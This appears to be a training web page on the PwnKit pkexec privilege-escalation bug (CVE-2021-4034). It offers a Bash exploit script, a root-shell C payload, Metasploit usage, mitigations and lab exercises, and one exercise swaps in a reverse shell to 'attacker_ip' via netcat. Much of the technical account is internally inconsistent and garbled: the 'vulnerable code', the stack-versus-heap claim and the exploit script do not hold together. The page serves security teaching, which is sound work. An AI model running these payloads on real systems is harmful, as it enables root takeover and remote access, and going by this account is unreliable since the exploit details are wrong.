~/home/study/pwnkit-cve-2021-4034-deep

PwnKit (CVE-2021-4034) Deep Dive - Exploitation Techniques & Mitigations

Learn the internals of the PwnKit vulnerability, how to craft reliable exploits, and practical defenses. This guide covers vulnerability analysis, exploit development, real-world impact, and hands-on labs for security professionals.

Introduction

The PwnKit vulnerability (CVE-2021-4034) is a local privilege-escalation bug in pkexec, the Set-UID helper of polkit. Discovered in early 2021, it allows an unprivileged user to obtain root on a wide range of Linux distributions without any special conditions. Its impact is comparable to the historic Dirty COW bug, because pkexec is installed by default on almost every modern distro.

Understanding PwnKit is essential for red-teamers, incident responders, and defenders alike. The vulnerability is a classic example of unsafe handling of environment variables and argument parsing in a Set-UID binary, and the exploitation techniques it introduced are reusable against many other privileged helpers.

Real-world relevance: Within weeks of disclosure, public exploits were integrated into frameworks such as Metasploit and Cobalt Strike, and dozens of CVE-linked incidents were reported in the wild. Organizations that failed to patch quickly found themselves exposed to ransomware and data-exfiltration attacks that leveraged the root foothold gained via PwnKit.

Prerequisites

  • Strong familiarity with Linux privilege-escalation concepts (Set-UID binaries, environment variables, capability sets).
  • Proficiency in C and Bash scripting for building and testing exploits.
  • Access to a vulnerable Linux system (e.g., Ubuntu 20.04, Debian 10, Fedora 33) for hands-on labs.
  • Basic knowledge of debugging tools (gdb, strace, ltrace) and binary analysis (objdump, radare2, Ghidra).

Core Concepts

At its heart, CVE-2021-4034 stems from the way pkexec parses its command-line arguments. The program uses glibc's execve() after constructing an argument vector (argv) that is derived from the user-supplied input. A critical oversight is that pkexec does not clear the argv array before populating it, allowing an attacker to inject additional pointers via environment variables that are later interpreted as command arguments.

Key points:

  1. Uninitialized stack memory: The argv array resides on the stack. When the program builds the argument list, leftover entries from previous function calls remain uninitialized.
  2. Environment variable abuse: By setting a specially crafted LD_PRELOAD or GCONV_PATH variable, an attacker can influence the memory layout and cause the uninitialized entries to point to attacker-controlled data.
  3. Argument vector overflow: The overflow is not a classic buffer overflow; rather, it is a logical overflow where the program believes it has processed argc entries, but the kernel receives more because the argv array contains stray pointers.

When pkexec finally calls execve(), the kernel follows the extra pointers, executing attacker-controlled code with root privileges. The exploit chain typically ends with a small setuid(0); execve("/bin/sh",...) payload.

Vulnerability Details

The vulnerable code path lives in src/pkexec.c of the polkit source tree. The simplified flow is:

int main(int argc, char *argv[])
{ // ... argument parsing ... char **new_argv = calloc(argc + 1, sizeof(char*)); for (i = 0; i < argc; i++) { new_argv[i] = argv[i]; } // BUG: new_argv[argc] is left uninitialized (should be NULL) execve("/usr/bin/policykit-1", new_argv, environ);
}

Because new_argv[argc] is not explicitly set to NULL, the kernel reads whatever garbage resides on the stack after the allocated array. By carefully arranging the stack with environment variables, the attacker can make that garbage a pointer to a malicious argv entry, effectively appending arbitrary arguments to the execve call.

Two critical observations made by the original researchers:

  • The argv buffer is allocated on the stack, not the heap, which makes it easier to predict its location with LD_PRELOAD tricks.
  • The execve call does not perform any sanitisation of the argument strings; they are passed verbatim to the invoked program.

These observations enable a reliable, architecture-agnostic exploit that works on both x86_64 and ARM64 platforms.

Exploit Development

Building a functional PwnKit exploit consists of three stages:

  1. Heap/stack grooming: Use environment variables to place a controlled pointer directly after the new_argv array.
  2. Payload construction: Craft a small C program that, when executed, spawns a root shell.
  3. Trigger: Invoke pkexec with a benign command (e.g., --version) while the environment is polluted.

The following Bash script demonstrates the full chain. It assumes you have compiled root_shell.c (shown later) and placed the binary at /tmp/root_shell.

#!/usr/bin/env bash
# ---------------------------------------------------
# PwnKit exploit - one-liner for vulnerable systems
# ---------------------------------------------------

# 1. Create a temporary directory for the environment payload
TMPDIR=$(mktemp -d)
export GCONV_PATH=$TMPDIR # GCONV_PATH is read by glibc during execve

# 2. Create a fake shared object that will be loaded via GCONV mechanism
cat > $TMPDIR/pwn.so <<'EOF'
#include <stdio.h>
#include <stdlib.h>
void _init() { setuid(0); setgid(0); execl("/tmp/root_shell", "root_shell", NULL);
}
EOF

gcc -shared -fPIC $TMPDIR/pwn.so -o $TMPDIR/pwn.so

# 3. Create the GCONV configuration that points to our .so
cat > $TMPDIR/pwn.gconv <<'EOF'
module  PWN // fake module name
translit // no transliteration
EOF

# 4. Set the environment variables that will force glibc to load our .so
export CHARSET=PWN
export GCONV_MODULE_PATH=$TMPDIR

# 5. Trigger pkexec - any argument works; we use --version for clarity
/usr/bin/pkexec --version

# Clean up (optional)
rm -rf $TMPDIR

The script leverages the GCONV_PATH and CHARSET variables to make glibc load the attacker-controlled shared object during the execve performed by pkexec. The _init() function runs with root privileges, spawning the pre-compiled /tmp/root_shell binary.

Root Shell Payload

Below is a minimal C payload that drops a fully interactive root shell. It is deliberately tiny to keep the exploit footprint low.

#include <unistd.h>
int main(void) { setuid(0); setgid(0); execl("/bin/sh", "sh", "-i", NULL); return 0; // never reached
}

Compile with:

gcc -static -o /tmp/root_shell root_shell.c

Static linking ensures the binary works even on stripped systems where dynamic libraries may be unavailable.

Tools & Commands

ToolPurposeTypical Command
gdbInspect stack layout of pkexecgdb -q /usr/bin/pkexec
straceWatch execve argumentsstrace -f -e execve pkexec --version
objdumpDisassemble vulnerable functionobjdump -d /usr/bin/pkexec | grep -A5 "new_argv"
checksecVerify binary protectionschecksec --file=/usr/bin/pkexec
MetasploitOne-click exploituse exploit/linux/local/polkit_priv_esc

Sample strace output when the exploit succeeds (excerpt):

execve("/usr/bin/policykit-1", ["policykit-1", "/tmp/root_shell"], 0x7fffdc3c0b80 /* 43 vars */) = 0

Notice the second argument /tmp/root_shell - this is the injected payload.

Defense & Mitigation

  • Patch immediately: Update polkit to version 0.118 or later, which zero-initialises the argv array.
  • Restrict environment variables: Use pam_env or env_reset in /etc/sudoers to clear GCONV_PATH, CHARSET, and other dangerous variables for unprivileged users.
  • Enable kernel mitigations: Ensure kernel.randomize_va_space=2 (full ASLR) and kernel.exec-shield=1 are active; they make stack grooming less reliable.
  • Apply binary hardening: Build pkexec with -D_FORTIFY_SOURCE=2 and enable RELRO and PIE. While they don't fix the logic bug, they raise the bar for exploitation.
  • Use SELinux/AppArmor profiles: Confine pkexec to a minimal set of allowed operations. A properly enforced SELinux policy will block the execution of arbitrary binaries from /tmp.

Common Mistakes

  1. Relying on LD_PRELOAD alone: Modern kernels ignore LD_PRELOAD for Set-UID programs, so attackers prefer GCONV_PATH or CHARSET tricks.
  2. Neglecting cleanup: Leaving the malicious environment variables in place after exploitation can lead to system instability or detection by monitoring tools.
  3. Assuming the exploit works on all distributions out of the box: Some distros ship patched versions of polkit or have additional hardening (e.g., noexec on /tmp) that require minor adjustments (e.g., using a different writable directory).
  4. Forgetting architecture differences: The stack offset varies between x86_64 and ARM64; hard-coding offsets leads to crashes on the wrong architecture.

Real-World Impact

Within days of public disclosure, threat actors incorporated PwnKit into multi-stage ransomware campaigns. The typical kill chain:

  1. Initial foothold via phishing or exposed service.
  2. Privilege escalation using PwnKit to obtain root.
  3. Disable security tools (e.g., stop auditd, tamper SELinux policies).
  4. Deploy ransomware payload (e.g., LockBit, Hive).

Case study (fictional but realistic): A midsize healthcare provider ran an unpatched Debian 10 server for internal file sharing. An attacker leveraged a compromised web application to gain a normal user account, then executed the PwnKit exploit to become root, exfiltrated patient records, and finally encrypted the data. The breach cost over $2 million in remediation and regulatory fines.

From a strategic perspective, PwnKit demonstrates how a single, seemingly innocuous Set-UID helper can become a universal “root-kit” for attackers. It reinforced the industry push for “least-privilege” design, encouraging developers to avoid unnecessary Set-UID binaries.

Practice Exercises

  1. Setup a vulnerable lab: Install Ubuntu 20.04 in a VM, do not apply any updates. Verify pkexec version < 0.118.
  2. Reproduce the exploit: Follow the Bash script in the Exploit Development section. Capture a root shell and document the steps.
  3. Modify the payload: Change the C payload to launch nc -e /bin/sh attacker_ip 4444 instead of a local shell. Verify remote connectivity.
  4. Patch and test mitigation: Apply the official security update, then re-run the exploit. Document the failure mode (e.g., execve returns EINVAL).
  5. Write a detection rule: Using auditd, create a rule that logs any execution of pkexec with more than one argument. Test the rule by running the exploit.

Each exercise should be performed in an isolated environment to avoid unintended privilege escalation on production systems.

Further Reading

  • Original research paper: “PwnKit - Local Privilege Escalation via pkexec” (2021) - detailed binary analysis.
  • Linux Privilege Escalation Cheat Sheet - OWASP.
  • Glibc GCONV exploitation techniques - LWN article.
  • SELinux Cookbook - Red Hat - for building confinement policies.
  • Metasploit module source - modules/exploits/linux/local/polkit_priv_esc.rb.

Summary

Key takeaways:

  • CVE-2021-4034 (PwnKit) is a logic bug in pkexec that allows arbitrary argument injection via uninitialised stack memory.
  • The exploit chain hinges on environment variables (GCONV_PATH, CHARSET) to load attacker-controlled shared objects.
  • A minimal C payload can spawn a root shell; static linking improves reliability.
  • Patching, environment sanitisation, ASLR, and mandatory access controls are effective mitigations.
  • Understanding PwnKit reinforces broader principles: never trust Set-UID programs with user-controlled data.

Use the provided exercises to cement your knowledge, and integrate detection rules into your monitoring stack to stay ahead of adversaries leveraging this powerful technique.